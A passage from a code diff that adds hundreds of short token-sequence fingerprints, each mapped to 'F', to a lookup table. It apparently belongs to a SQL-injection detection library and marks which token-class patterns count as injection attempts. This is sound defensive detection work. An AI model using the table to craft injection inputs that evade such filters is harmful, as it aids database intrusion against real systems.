'F'}, + {"0V,(E(", 'F'}, + {"0V,(E1", 'F'}, + {"0V,(EF", 'F'}, + {"0V,(EK", 'F'}, + {"0V,(EN", 'F'}, + {"0V,(ES", 'F'}, + {"0V,(EV", 'F'}, + {"0V,(F(", 'F'}, + {"0V,(N)", 'F'}, + {"0V,(NO", 'F'}, + {"0V,(S)", 'F'}, + {"0V,(SO", 'F'}, + {"0V,(V)", 'F'}, + {"0V,(VO", 'F'}, + {"0V,F()", 'F'}, + {"0V,F(1", 'F'}, + {"0V,F(F", 'F'}, + {"0V,F(N", 'F'}, + {"0V,F(S", 'F'}, + {"0V,F(V", 'F'}, + {"0V;E(1", 'F'}, + {"0V;E(E", 'F'}, + {"0V;E(F", 'F'}, + {"0V;E(N", 'F'}, + {"0V;E(S", 'F'}, + {"0V;E(V", 'F'}, + {"0V;E1,", 'F'}, + {"0V;E1;", 'F'}, + {"0V;E1C", 'F'}, + {"0V;E1K", 'F'}, + {"0V;E1O", 'F'}, + {"0V;E1T", 'F'}, + {"0V;EF(", 'F'}, + {"0V;EK(", 'F'}, + {"0V;EK1", 'F'}, + {"0V;EKF", 'F'}, + {"0V;EKN", 'F'}, + {"0V;EKO", 'F'}, + {"0V;EKS", 'F'}, + {"0V;EKV", 'F'}, + {"0V;EN,", 'F'}, + {"0V;EN;", 'F'}, + {"0V;ENC", 'F'}, + {"0V;ENE", 'F'}, + {"0V;ENK", 'F'}, + {"0V;ENO", 'F'}, + {"0V;ENT", 'F'}, + {"0V;ES,", 'F'}, + {"0V;ES;", 'F'}, + {"0V;ESC", 'F'}, + {"0V;ESK", 'F'}, + {"0V;ESO", 'F'}, + {"0V;EST", 'F'}, + {"0V;EV,", 'F'}, + {"0V;EV;", 'F'}, + {"0V;EVC", 'F'}, + {"0V;EVK", 'F'}, + {"0V;EVO", 'F'}, + {"0V;EVT", 'F'}, + {"0V;N:T", 'F'}, + {"0V;T(1", 'F'}, + {"0V;T(C", 'F'}, + {"0V;T(E", 'F'}, + {"0V;T(F", 'F'}, + {"0V;T(N", 'F'}, + {"0V;T(S", 'F'}, + {"0V;T(V", 'F'}, + {"0V;T1(", 'F'}, + {"0V;T1,", 'F'}, + {"0V;T1;", 'F'}, + {"0V;T1C", 'F'}, + {"0V;T1F", 'F'}, + {"0V;T1K", 'F'}, + {"0V;T1O", 'F'}, + {"0V;T1T", 'F'}, + {"0V;T;", 'F'}, + {"0V;T;C", 'F'}, + {"0V;TF(", 'F'}, + {"0V;TK(", 'F'}, + {"0V;TK1", 'F'}, + {"0V;TKF", 'F'}, + {"0V;TKK", 'F'}, + {"0V;TKN", 'F'}, + {"0V;TKO", 'F'}, + {"0V;TKS", 'F'}, + {"0V;TKV", 'F'}, + {"0V;TN(", 'F'}, + {"0V;TN,", 'F'}, + {"0V;TN1", 'F'}, + {"0V;TN;", 'F'}, + {"0V;TNC", 'F'}, + {"0V;TNE", 'F'}, + {"0V;TNF", 'F'}, + {"0V;TNK", 'F'}, + {"0V;TNN", 'F'}, + {"0V;TNO", 'F'}, + {"0V;TNS", 'F'}, + {"0V;TNT", 'F'}, + {"0V;TNV", 'F'}, + {"0V;TO(", 'F'}, + {"0V;TS(", 'F'}, + {"0V;TS,", 'F'}, + {"0V;TS;", 'F'}, + {"0V;TSC", 'F'}, + {"0V;TSF", 'F'}, + {"0V;TSK", 'F'}, + {"0V;TSO", 'F'}, + {"0V;TST", 'F'}, + {"0V;TTN", 'F'}, + {"0V;TV(", 'F'}, + {"0V;TV,", 'F'}, + {"0V;TV;", 'F'}, + {"0V;TVC", 'F'}, + {"0V;TVF", 'F'}, + {"0V;TVK", 'F'}, + {"0V;TVO", 'F'}, + {"0V;TVT", 'F'}, + {"0VA(F(", 'F'}, + {"0VA(N)", 'F'}, + {"0VA(NO", 'F'}, + {"0VA(S)", 'F'}, + {"0VA(SO", 'F'}, + {"0VA(V)", 'F'}, + {"0VA(VO", 'F'}, + {"0VAF()", 'F'}, + {"0VAF(1", 'F'}, + {"0VAF(F", 'F'}, + {"0VAF(N", 'F'}, + {"0VAF(S", 'F'}, + {"0VAF(V", 'F'}, + {"0VASO(", 'F'}, + {"0VASO1", 'F'}, + {"0VASOF", 'F'}, + {"0VASON", 'F'}, + {"0VASOS", 'F'}, + {"0VASOV", 'F'}, + {"0VASUE", 'F'}, + {"0VATO(", 'F'}, + {"0VATO1", 'F'}, + {"0VATOF", 'F'}, + {"0VATON", 'F'}, + {"0VATOS", 'F'}, + {"0VATOV", 'F'}, + {"0VATUE", 'F'}, + {"0VAVO(", 'F'}, + {"0VAVOF", 'F'}, + {"0VAVOS", 'F'}, + {"0VAVUE", 'F'}, + {"0VB(1)", 'F'}, + {"0VB(1O", 'F'}, + {"0VB(F(", 'F'}, + {"0VB(NO", 'F'}, + {"0VB(S)", 'F'}, + {"0VB(SO", 'F'}, + {"0VB(V)", 'F'}, + {"0VB(VO", 'F'}, + {"0VB1", 'F'}, + {"0VB1&(", 'F'}, + {"0VB1&1", 'F'}, + {"0VB1&F", 'F'}, + {"0VB1&N", 'F'}, + {"0VB1&S", 'F'}, + {"0VB1&V", 'F'}, + {"0VB1,(", 'F'}, + {"0VB1,F", 'F'}, + {"0VB1;", 'F'}, + {"0VB1;C", 'F'}, + {"0VB1B(", 'F'}, + {"0VB1B1", 'F'}, + {"0VB1BF", 'F'}, + {"0VB1BN", 'F'}, + {"0VB1BS", 'F'}, + {"0VB1BV", 'F'}, + {"0VB1C", 'F'}, + {"0VB1K(", 'F'}, + {"0VB1K1", 'F'}, + {"0VB1KF", 'F'}, + {"0VB1KN", 'F'}, + {"0VB1KS", 'F'}, + {"0VB1KV", 'F'}, + {"0VB1O(", 'F'}, + {"0VB1OF", 'F'}, + {"0VB1OS", 'F'}, + {"0VB1OV", 'F'}, + {"0VB1U(", 'F'}, + {"0VB1UE", 'F'}, + {"0VBE(1", 'F'}, + {"0VBE(F", 'F'}, + {"0VBE(N", 'F'}, + {"0VBE(S", 'F'}, + {"0VBE(V", 'F'}, + {"0VBEK(", 'F'}, + {"0VBF()", 'F'}, + {"0VBF(1", 'F'}, + {"0VBF(F", 'F'}, + {"0VBF(N", 'F'}, + {"0VBF(S", 'F'}, + {"0VBF(V", 'F'}, + {"0VBN", 'F'}, + {"0VBN&(", 'F'}, + {"0VBN&1", 'F'}, + {"0VBN&F", 'F'}, + {"0VBN&N", 'F'}, + {"0VBN&S", 'F'}, + {"0VBN&V", 'F'}, + {"0VBN,(", 'F'}, + {"0VBN,F", 'F'}, + {"0VBN;", 'F'}, + {"0VBN;C", 'F'}, + {"0VBNB(", 'F'}, + {"0VBNB1", 'F'}, + {"0VBNBF", 'F'}, + {"0VBNBN", 'F'}, + {"0VBNBS", 'F'}, + {"0VBNBV", 'F'}, + {"0VBNC", 'F'}, + {"0VBNK(", 'F'}, + {"0VBNK1", 'F'}, + {"0VBNKF", 'F'}, + {"0VBNKN", 'F'}, + {"0VBNKS", 'F'}, + {"0VBNKV", 'F'}, + {"0VBNO(", 'F'}, + {"0VBNOF", 'F'}, + {"0VBNOS", 'F'}, + {"0VBNOV", 'F'}, + {"0VBNU(", 'F'}, + {"0VBNUE", 'F'}, + {"0VBS", 'F'}, + {"0VBS&(", 'F'}, + {"0VBS&1", 'F'}, + {"0VBS&F", 'F'}, + {"0VBS&N", 'F'}, + {"0VBS&S", 'F'}, + {"0VBS&V", 'F'}, + {"0VBS,(", 'F'}, + {"0VBS,F", 'F'}, + {"0VBS;", 'F'}, + {"0VBS;C", 'F'}, + {"0VBSB(", 'F'}, + {"0VBSB1", 'F'}, + {"0VBSBF", 'F'}, + {"0VBSBN", 'F'}, + {"0VBSBS", 'F'}, + {"0VBSBV", 'F'}, + {"0VBSC", 'F'}, + {"0VBSK(", 'F'}, + {"0VBSK1", 'F'}, + {"0VBSKF", 'F'}, + {"0VBSKN", 'F'}, + {"0VBSKS", 'F'}, + {"0VBSKV", 'F'}, + {"0VBSO(", 'F'}, + {"0VBSO1", 'F'}, + {"0VBSOF", 'F'}, + {"0VBSON", 'F'}, + {"0VBSOS", 'F'}, + {"0VBSOV", 'F'}, + {"0VBSU(", 'F'}, + {"0VBSUE", 'F'}, + {"0VBV", 'F'}, + {"0VBV&(", 'F'}, + {"0VBV&1", 'F'}, + {"0VBV&F", 'F'}, + {"0VBV&N", 'F'}, + {"0VBV&S", 'F'}, + {"0VBV&V", 'F'}, + {"0VBV,(", 'F'}, + {"0VBV,F", 'F'}, + {"0VBV;", 'F'}, + {"0VBV;C", 'F'}, + {"0VBVB(", 'F'}, + {"0VBVB1", 'F'}, + {"0VBVBF", 'F'}, + {"0VBVBN", 'F'}, + {"0VBVBS", 'F'}, + {"0VBVBV", 'F'}, + {"0VBVC", 'F'}, + {"0VBVK(", 'F'}, + {"0VBVK1", 'F'}, + {"0VBVKF", 'F'}, + {"0VBVKN", 'F'}, + {"0VBVKS", 'F'}, + {"0VBVKV", 'F'}, + {"0VBVO(", 'F'}, + {"0VBVOF", 'F'}, + {"0VBVOS", 'F'}, + {"0VBVU(", 'F'}, + {"0VBVUE", 'F'}, + {"0VC", 'F'}, + {"0VE(1)", 'F'}, + {"0VE(1O", 'F'}, + {"0VE(F(", 'F'}, + {"0VE(N)", 'F'}, + {"0VE(NO", 'F'}, + {"0VE(S)", 'F'}, + {"0VE(SO", 'F'}, + {"0VE(V)", 'F'}, + {"0VE(VO", 'F'}, + {"0VE1;T", 'F'}, + {"0VE1C", 'F'}, + {"0VE1O(", 'F'}, + {"0VE1OF", 'F'}, + {"0VE1OS", 'F'}, + {"0VE1OV", 'F'}, + {"0VE1T(", 'F'}, + {"0VE1T1", 'F'}, + {"0VE1TF", 'F'}, + {"0VE1TN", 'F'}, + {"0VE1TS", 'F'}, + {"0VE1TV", 'F'}, + {"0VE1UE", 'F'}, + {"0VEF()", 'F'}, + {"0VEF(1", 'F'}, + {"0VEF(F", 'F'}, + {"0VEF(N", 'F'}, + {"0VEF(S", 'F'}, + {"0VEF(V", 'F'}, + {"0VEK(1", 'F'}, + {"0VEK(E", 'F'}, + {"0VEK(F", 'F'}, + {"0VEK(N", 'F'}, + {"0VEK(S", 'F'}, + {"0VEK(V", 'F'}, + {"0VEK1;", 'F'}, + {"0VEK1C", 'F'}, + {"0VEK1O", 'F'}, + {"0VEK1T", 'F'}, + {"0VEK1U", 'F'}, + {"0VEKF(", 'F'}, + {"0VEKN;", 'F'}, + {"0VEKNC", 'F'}, + {"0VEKNE", 'F'}, + {"0VEKNT", 'F'}, + {"0VEKNU", 'F'}, + {"0VEKOK", 'F'}, + {"0VEKS;", 'F'}, + {"0VEKSC", 'F'}, + {"0VEKSO", 'F'}, + {"0VEKST", 'F'}, + {"0VEKSU", 'F'}, + {"0VEKU(", 'F'}, + {"0VEKU1", 'F'}, + {"0VEKUE", 'F'}, + {"0VEKUF", 'F'}, + {"0VEKUS", 'F'}, + {"0VEKUV", 'F'}, + {"0VEKV;", 'F'}, + {"0VEKVC", 'F'}, + {"0VEKVO", 'F'}, + {"0VEKVT", 'F'}, + {"0VEKVU", 'F'}, + {"0VEN;T", 'F'}, + {"0VENC", 'F'}, + {"0VENEN", 'F'}, + {"0VENO(", 'F'}, + {"0VENOF", 'F'}, + {"0VENOS", 'F'}, + {"0VENOV", 'F'}, + {"0VENT(", 'F'}, + {"0VENT1", 'F'}, + {"0VENTF", 'F'}, + {"0VENTN", 'F'}, + {"0VENTS", 'F'}, + {"0VENTV", 'F'}, + {"0VENUE", 'F'}, + {"0VEOKN", 'F'}, + {"0VES;T", 'F'}, + {"0VESC", 'F'}, + {"0VESO(", 'F'}, + {"0VESO1", 'F'}, + {"0VESOF", 'F'}, + {"0VESON", 'F'}, + {"0VESOS", 'F'}, + {"0VESOV", 'F'}, + {"0VEST(", 'F'}, + {"0VEST1", 'F'}, + {"0VESTF", 'F'}, + {"0VESTN", 'F'}, + {"0VESTS", 'F'}, + {"0VESTV", 'F'}, + {"0VESUE", 'F'}, + {"0VEU(1", 'F'}, + {"0VEU(F", 'F'}, + {"0VEU(N", 'F'}, + {"0VEU(S", 'F'}, + {"0VEU(V", 'F'}, + {"0VEU1,", 'F'}, + {"0VEU1C", 'F'}, + {"0VEU1O", 'F'}, + {"0VEUEF", 'F'}, + {"0VEUEK", 'F'}, + {"0VEUF(", 'F'}, + {"0VEUS,", 'F'}, + {"0VEUSC", 'F'}, + {"0VEUSO", 'F'}, + {"0VEUV,", 'F'}, + {"0VEUVC", 'F'}, + {"0VEUVO", 'F'}, + {"0VEV;T", 'F'}, + {"0VEVC", 'F'}, + {"0VEVO(", 'F'}, + {"0VEVOF", 'F'}, + {"0VEVOS", 'F'}, + {"0VEVT(", 'F'}, + {"0VEVT1", 'F'}, + {"0VEVTF", 'F'}, + {"0VEVTN", 'F'}, + {"0VEVTS", 'F'}, + {"0VEVTV", 'F'}, + {"0VEVUE", 'F'}, + {"0VF()1", 'F'}, + {"0VF()F", 'F'}, + {"0VF()K", 'F'}, + {"0VF()N", 'F'}, + {"0VF()O", 'F'}, + {"0VF()S", 'F'}, + {"0VF()U", 'F'}, + {"0VF()V", 'F'}, + {"0VF(1)", 'F'}, + {"0VF(1N", 'F'}, + {"0VF(1O", 'F'}, + {"0VF(E(", 'F'}, + {"0VF(E1", 'F'}, + {"0VF(EF", 'F'}, + {"0VF(EK", 'F'}, + {"0VF(EN", 'F'}, + {"0VF(ES", 'F'}, + {"0VF(EV", 'F'}, + {"0VF(F(", 'F'}, + {"0VF(N)", 'F'}, + {"0VF(N,", 'F'}, + {"0VF(NO", 'F'}, + {"0VF(S)", 'F'}, + {"0VF(SO", 'F'}, + {"0VF(V)", 'F'}, + {"0VF(VO", 'F'}, + {"0VK(1)", 'F'}, + {"0VK(1O", 'F'}, + {"0VK(F(", 'F'}, + {"0VK(N)", 'F'}, + {"0VK(NO", 'F'}, + {"0VK(S)", 'F'}, + {"0VK(SO", 'F'}, + {"0VK(V)", 'F'}, + {"0VK(VO", 'F'}, + {"0VK)&(", 'F'}, + {"0VK)&1", 'F'}, + {"0VK)&F", 'F'}, + {"0VK)&N", 'F'}, + {"0VK)&S", 'F'}, + {"0VK)&V", 'F'}, + {"0VK);E", 'F'}, + {"0VK);T", 'F'}, + {"0VK)B(", 'F'}, + {"0VK)B1", 'F'}, + {"0VK)BF", 'F'}, + {"0VK)BN", 'F'}, + {"0VK)BS", 'F'}, + {"0VK)BV", 'F'}, + {"0VK)E(", 'F'}, + {"0VK)E1", 'F'}, + {"0VK)EF", 'F'}, + {"0VK)EK", 'F'}, + {"0VK)EN", 'F'}, + {"0VK)ES", 'F'}, + {"0VK)EV", 'F'}, + {"0VK)F(", 'F'}, + {"0VK)O(", 'F'}, + {"0VK)OF", 'F'}, + {"0VK)UE", 'F'}, + {"0VK1", 'F'}, + {"0VK1&(", 'F'}, + {"0VK1&1", 'F'}, + {"0VK1&F", 'F'}, + {"0VK1&N", 'F'}, + {"0VK1&S", 'F'}, + {"0VK1&V", 'F'}, + {"0VK1;", 'F'}, + {"0VK1;C", 'F'}, + {"0VK1;E", 'F'}, + {"0VK1;T", 'F'}, + {"0VK1B(", 'F'}, + {"0VK1B1", 'F'}, + {"0VK1BF", 'F'}, + {"0VK1BN", 'F'}, + {"0VK1BS", 'F'}, + {"0VK1BV", 'F'}, + {"0VK1C", 'F'}, + {"0VK1E(", 'F'}, + {"0VK1E1", 'F'}, + {"0VK1EF", 'F'}, + {"0VK1EK", 'F'}, + {"0VK1EN", 'F'}, + {"0VK1ES", 'F'}, + {"0VK1EV", 'F'}, + {"0VK1O(", 'F'}, + {"0VK1OF", 'F'}, + {"0VK1OS", 'F'}, + {"0VK1OV", 'F'}, + {"0VK1U(", 'F'}, + {"0VK1UE", 'F'}, + {"0VKF()", 'F'}, + {"0VKF(1", 'F'}, + {"0VKF(F", 'F'}, + {"0VKF(N", 'F'}, + {"0VKF(S", 'F'}, + {"0VKF(V", 'F'}, + {"0VKN", 'F'}, + {"0VKN&(", 'F'}, + {"0VKN&1", 'F'}, + {"0VKN&F", 'F'}, + {"0VKN&N", 'F'}, + {"0VKN&S", 'F'}, + {"0VKN&V", 'F'}, + {"0VKN;", 'F'}, + {"0VKN;C", 'F'}, + {"0VKN;E", 'F'}, + {"0VKN;T", 'F'}, + {"0VKNB(", 'F'}, + {"0VKNB1", 'F'}, + {"0VKNBF", 'F'}, + {"0VKNBN", 'F'}, + {"0VKNBS", 'F'}, + {"0VKNBV", 'F'}, + {"0VKNC", 'F'}, + {"0VKNE(", 'F'}, + {"0VKNE1", 'F'}, + {"0VKNEF", 'F'}, + {"0VKNEN", 'F'}, + {"0VKNES", 'F'}, + {"0VKNEV", 'F'}, + {"0VKNU(", 'F'}, + {"0VKNUE", 'F'}, + {"0VKS", 'F'}, + {"0VKS&(", 'F'}, + {"0VKS&1", 'F'}, + {"0VKS&F", 'F'}, + {"0VKS&N", 'F'}, + {"0VKS&S", 'F'}, + {"0VKS&V", 'F'}, + {"0VKS;", 'F'}, + {"0VKS;C", 'F'}, + {"0VKS;E", 'F'}, + {"0VKS;T", 'F'}, + {"0VKSB(", 'F'}, + {"0VKSB1", 'F'}, + {"0VKSBF", 'F'}, + {"0VKSBN", 'F'}, + {"0VKSBS", 'F'}, + {"0VKSBV", 'F'}, + {"0VKSC", 'F'}, + {"0VKSE(", 'F'}, + {"0VKSE1", 'F'}, + {"0VKSEF", 'F'}, + {"0VKSEK", 'F'}, + {"0VKSEN", 'F'}, + {"0VKSES", 'F'}, + {"0VKSEV", 'F'}, + {"0VKSO(", 'F'}, + {"0VKSO1", 'F'}, + {"0VKSOF", 'F'}, + {"0VKSON", 'F'}, + {"0VKSOS", 'F'}, + {"0VKSOV", 'F'}, + {"0VKSU(", 'F'}, + {"0VKSUE", 'F'}, + {"0VKUE(", 'F'}, + {"0VKUE1", 'F'}, + {"0VKUEF", 'F'}, + {"0VKUEK", 'F'}, + {"0VKUEN", 'F'}, + {"0VKUES", 'F'}, + {"0VKUEV", 'F'}, + {"0VKV", 'F'}, + {"0VKV&(", 'F'}, + {"0VKV&1", 'F'}, + {"0VKV&F", 'F'}, + {"0VKV&N", 'F'}, + {"0VKV&S", 'F'}, + {"0VKV&V", 'F'}, + {"0VKV;", 'F'}, + {"0VKV;C", 'F'}, + {"0VKV;E", 'F'}, + {"0VKV;T", 'F'}, + {"0VKVB(", 'F'}, + {"0VKVB1", 'F'}, + {"0VKVBF", 'F'}, + {"0VKVBN", 'F'}, + {"0VKVBS", 'F'}, + {"0VKVBV", 'F'}, + {"0VKVC", 'F'}, + {"0VKVE(", 'F'}, + {"0VKVE1", 'F'}, + {"0VKVEF", 'F'}, + {"0VKVEK", 'F'}, + {"0VKVEN", 'F'}, + {"0VKVES", 'F'}, + {"0VKVEV", 'F'}, + {"0VKVO(", 'F'}, + {"0VKVOF", 'F'}, + {"0VKVOS", 'F'}, + {"0VKVU(", 'F'}, + {"0VKVUE", 'F'}, + {"0VO(1&", 'F'}, + {"0VO(1)", 'F'}, + {"0VO(1,", 'F'}, + {"0VO(1O", 'F'}, + {"0VO(E(", 'F'}, + {"0VO(E1", 'F'}, + {"0VO(EE", 'F'}, + {"0VO(EF", 'F'}, + {"0VO(EK", 'F'}, + {"0VO(EN", 'F'}, + {"0VO(EO", 'F'}, + {"0VO(ES", 'F'}, + {"0VO(EV", 'F'}, + {"0VO(F(", 'F'}, + {"0VO(N&", 'F'}, + {"0VO(N)", 'F'}, + {"0VO(N,", 'F'}, + {"0VO(NO", 'F'}, + {"0VO(S&", 'F'}, + {"0VO(S)", 'F'}, + {"0VO(S,", 'F'}, + {"0VO(SO", 'F'}, + {"0VO(V&", 'F'}, + {"0VO(V)", 'F'}, + {"0VO(V,", 'F'}, + {"0VO(VO", 'F'}, + {"0VOF()", 'F'}, + {"0VOF(1", 'F'}, + {"0VOF(E", 'F'}, + {"0VOF(F", 'F'}, + {"0VOF(N", 'F'}, + {"0VOF(S", 'F'}, + {"0VOF(V", 'F'}, + {"0VOK&(", 'F'}, + {"0VOK&1", 'F'}, + {"0VOK&F", 'F'}, + {"0VOK&N", 'F'}, + {"0VOK&S", 'F'}, + {"0VOK&V", 'F'}, + {"0VOK(1", 'F'}, + {"0VOK(F", 'F'}, + {"0VOK(N", 'F'}, + {"0VOK(S", 'F'}, + {"0VOK(V", 'F'}, + {"0VOK1C", 'F'}, + {"0VOK1O", 'F'}, + {"0VOKF(", 'F'}, + {"0VOKNC", 'F'}, + {"0VOKO(", 'F'}, + {"0VOKO1", 'F'}, + {"0VOKOF", 'F'}, + {"0VOKON", 'F'}, + {"0VOKOS", 'F'}, + {"0VOKOV", 'F'}, + {"0VOKSC", 'F'}, + {"0VOKSO", 'F'}, + {"0VOKVC", 'F'}, + {"0VOKVO", 'F'}, + {"0VOS", 'F'}, + {"0VOS&(", 'F'}, + {"0VOS&1", 'F'}, + {"0VOS&E", 'F'}, + {"0VOS&F", 'F'}, + {"0VOS&K", 'F'}, + {"0VOS&N", 'F'}, + {"0VOS&S", 'F'}, + {"0VOS&U", 'F'}, + {"0VOS&V", 'F'}, + {"0VOS(E", 'F'}, + {"0VOS(U", 'F'}, + {"0VOS)&", 'F'}, + {"0VOS),", 'F'}, + {"0VOS);", 'F'}, + {"0VOS)B", 'F'}, + {"0VOS)C", 'F'}, + {"0VOS)E", 'F'}, + {"0VOS)F", 'F'}, + {"0VOS)K", 'F'}, + {"0VOS)O", 'F'}, + {"0VOS)U", 'F'}, + {"0VOS,(", 'F'}, + {"0VOS,F", 'F'}, + {"0VOS1(", 'F'}, + {"0VOS1F", 'F'}, + {"0VOS1N", 'F'}, + {"0VOS1S", 'F'}, + {"0VOS1U", 'F'}, + {"0VOS1V", 'F'}, + {"0VOS;", 'F'}, + {"0VOS;C", 'F'}, + {"0VOS;E", 'F'}, + {"0VOS;N", 'F'}, + {"0VOS;T", 'F'}, + {"0VOSA(", 'F'}, + {"0VOSAF", 'F'}, + {"0VOSAS", 'F'}, + {"0VOSAT", 'F'}, + {"0VOSAV", 'F'}, + {"0VOSB(", 'F'}, + {"0VOSB1", 'F'}, + {"0VOSBE", 'F'}, + {"0VOSBF", 'F'}, + {"0VOSBN", 'F'}, + {"0VOSBS", 'F'}, + {"0VOSBV", 'F'}, + {"0VOSC", 'F'}, + {"0VOSE(", 'F'}, + {"0VOSE1", 'F'}, + {"0VOSEF", 'F'}, + {"0VOSEK", 'F'}, + {"0VOSEN", 'F'}, + {"0VOSEO", 'F'}, + {"0VOSES", 'F'}, + {"0VOSEU", 'F'}, + {"0VOSEV", 'F'}, + {"0VOSF(", 'F'}, + {"0VOSK(", 'F'}, + {"0VOSK)", 'F'}, + {"0VOSK1", 'F'}, + {"0VOSKB", 'F'}, + {"0VOSKF", 'F'}, + {"0VOSKN", 'F'}, + {"0VOSKS", 'F'}, + {"0VOSKU", 'F'}, + {"0VOSKV", 'F'}, + {"0VOST(", 'F'}, + {"0VOST1", 'F'}, + {"0VOSTE", 'F'}, + {"0VOSTF", 'F'}, + {"0VOSTN", 'F'}, + {"0VOSTS", 'F'}, + {"0VOSTT", 'F'}, + {"0VOSTV", 'F'}, + {"0VOSU", 'F'}, + {"0VOSU(", 'F'}, + {"0VOSU1", 'F'}, + {"0VOSU;", 'F'}, + {"0VOSUC", 'F'}, + {"0VOSUE", 'F'}, + {"0VOSUF", 'F'}, + {"0VOSUK", 'F'}, + {"0VOSUO", 'F'}, + {"0VOSUS", 'F'}, + {"0VOSUT", 'F'}, + {"0VOSUV", 'F'}, + {"0VOSV(", 'F'}, + {"0VOSVF", 'F'}, + {"0VOSVO", 'F'}, + {"0VOSVS", 'F'}, + {"0VOSVU", 'F'}, + {"0VOU(E", 'F'}, + {"0VOUEK", 'F'}, + {"0VOUEN", 'F'}, + {"0VT(1)", 'F'}, + {"0VT(1O", 'F'}, + {"0VT(F(", 'F'}, + {"0VT(N)", 'F'}, + {"0VT(NO", 'F'}, + {"0VT(S)", 'F'}, + {"0VT(SO", 'F'}, + {"0VT(V)", 'F'}, + {"0VT(VO", 'F'}, + {"0VT1(F", 'F'}, + {"0VT1O(", 'F'}, + {"0VT1OF", 'F'}, + {"0VT1OS", 'F'}, + {"0VT1OV", 'F'}, + {"0VTE(1", 'F'}, + {"0VTE(F", 'F'}, + {"0VTE(N", 'F'}, + {"0VTE(S", 'F'}, + {"0VTE(V", 'F'}, + {"0VTE1N", 'F'}, + {"0VTE1O", 'F'}, + {"0VTEF(", 'F'}, + {"0VTEK(", 'F'}, + {"0VTEK1", 'F'}, + {"0VTEKF", 'F'}, + {"0VTEKN", 'F'}, + {"0VTEKS", 'F'}, + {"0VTEKV", 'F'}, + {"0VTENN", 'F'}, + {"0VTENO", 'F'}, + {"0VTESN", 'F'}, + {"0VTESO", 'F'}, + {"0VTEVN", 'F'}, + {"0VTEVO", 'F'}, + {"0VTF()", 'F'}, + {"0VTF(1", 'F'}, + {"0VTF(F", 'F'}, + {"0VTF(N", 'F'}, + {"0VTF(S", 'F'}, + {"0VTF(V", 'F'}, + {"0VTN(1", 'F'}, + {"0VTN(F", 'F'}, + {"0VTN(S", 'F'}, + {"0VTN(V", 'F'}, + {"0VTN1C", 'F'}, + {"0VTN1O", 'F'}, + {"0VTN;E", 'F'}, + {"0VTN;N", 'F'}, + {"0VTN;T", 'F'}, + {"0VTNE(", 'F'}, + {"0VTNE1", 'F'}, + {"0VTNEF", 'F'}, + {"0VTNEN", 'F'}, + {"0VTNES", 'F'}, + {"0VTNEV", 'F'}, + {"0VTNF(", 'F'}, + {"0VTNKN", 'F'}, + {"0VTNN:", 'F'}, + {"0VTNNC", 'F'}, + {"0VTNNO", 'F'}, + {"0VTNO(", 'F'}, + {"0VTNOF", 'F'}, + {"0VTNOS", 'F'}, + {"0VTNOV", 'F'}, + {"0VTNSC", 'F'}, + {"0VTNSO", 'F'}, + {"0VTNT(", 'F'}, + {"0VTNT1", 'F'}, + {"0VTNTF", 'F'}, + {"0VTNTN", 'F'}, + {"0VTNTS", 'F'}, + {"0VTNTV", 'F'}, + {"0VTNVC", 'F'}, + {"0VTNVO", 'F'}, + {"0VTS(F", 'F'}, + {"0VTSO(", 'F'}, + {"0VTSO1", 'F'}, + {"0VTSOF", 'F'}, + {"0VTSON", 'F'}, + {"0VTSOS", 'F'}, + {"0VTSOV", 'F'}, + {"0VTTNE", 'F'}, + {"0VTTNK", 'F'}, + {"0VTTNN", 'F'}, + {"0VTTNT", 'F'}, + {"0VTV(1", 'F'}, + {"0VTV(F", 'F'}, + {"0VTVO(", 'F'}, + {"0VTVOF", 'F'}, + {"0VTVOS", 'F'}, + {"0VU", 'F'}, + {"0VU(1)", 'F'}, + {"0VU(1O", 'F'}, + {"0VU(E(", 'F'}, + {"0VU(E1", 'F'}, + {"0VU(EF", 'F'}, + {"0VU(EK", 'F'}, + {"0VU(EN", 'F'}, + {"0VU(ES", 'F'}, + {"0VU(EV", 'F'}, + {"0VU(F(", 'F'}, + {"0VU(N)", 'F'}, + {"0VU(NO", 'F'}, + {"0VU(S)", 'F'}, + {"0VU(SO", 'F'}, + {"0VU(V)", 'F'}, + {"0VU(VO", 'F'}, + {"0VU1,(", 'F'}, + {"0VU1,F", 'F'}, + {"0VU1C", 'F'}, + {"0VU1O(", 'F'}, + {"0VU1OF", 'F'}, + {"0VU1OS", 'F'}, + {"0VU1OV", 'F'}, + {"0VU;", 'F'}, + {"0VU;C", 'F'}, + {"0VUC", 'F'}, + {"0VUE", 'F'}, + {"0VUE(1", 'F'}, + {"0VUE(E", 'F'}, + {"0VUE(F", 'F'}, + {"0VUE(N", 'F'}, + {"0VUE(O", 'F'}, + {"0VUE(S", 'F'}, + {"0VUE(V", 'F'}, + {"0VUE1", 'F'}, + {"0VUE1&", 'F'}, + {"0VUE1(", 'F'}, + {"0VUE1)", 'F'}, + {"0VUE1,", 'F'}, + {"0VUE1;", 'F'}, + {"0VUE1B", 'F'}, + {"0VUE1C", 'F'}, + {"0VUE1F", 'F'}, + {"0VUE1K", 'F'}, + {"0VUE1N", 'F'}, + {"0VUE1O", 'F'}, + {"0VUE1S", 'F'}, + {"0VUE1U", 'F'}, + {"0VUE1V", 'F'}, + {"0VUE;", 'F'}, + {"0VUE;C", 'F'}, + {"0VUEC", 'F'}, + {"0VUEF", 'F'}, + {"0VUEF(", 'F'}, + {"0VUEF,", 'F'}, + {"0VUEF;", 'F'}, + {"0VUEFC", 'F'}, + {"0VUEK", 'F'}, + {"0VUEK(", 'F'}, + {"0VUEK1", 'F'}, + {"0VUEK;", 'F'}, + {"0VUEKC", 'F'}, + {"0VUEKF", 'F'}, + {"0VUEKN", 'F'}, + {"0VUEKO", 'F'}, + {"0VUEKS", 'F'}, + {"0VUEKV", 'F'}, + {"0VUEN", 'F'}, + {"0VUEN&", 'F'}, + {"0VUEN(", 'F'}, + {"0VUEN)", 'F'}, + {"0VUEN,", 'F'}, + {"0VUEN1", 'F'}, + {"0VUEN;", 'F'}, + {"0VUENB", 'F'}, + {"0VUENC", 'F'}, + {"0VUENF", 'F'}, + {"0VUENK", 'F'}, + {"0VUENO", 'F'}, + {"0VUENS", 'F'}, + {"0VUENU", 'F'}, + {"0VUEOK", 'F'}, + {"0VUEON", 'F'}, + {"0VUES", 'F'}, + {"0VUES&", 'F'}, + {"0VUES(", 'F'}, + {"0VUES)", 'F'}, + {"0VUES,", 'F'}, + {"0VUES1", 'F'}, + {"0VUES;", 'F'}, + {"0VUESB", 'F'}, + {"0VUESC", 'F'}, + {"0VUESF", 'F'}, + {"0VUESK", 'F'}, + {"0VUESO", 'F'}, + {"0VUESU", 'F'}, + {"0VUESV", 'F'}, + {"0VUEV", 'F'}, + {"0VUEV&", 'F'}, + {"0VUEV(", 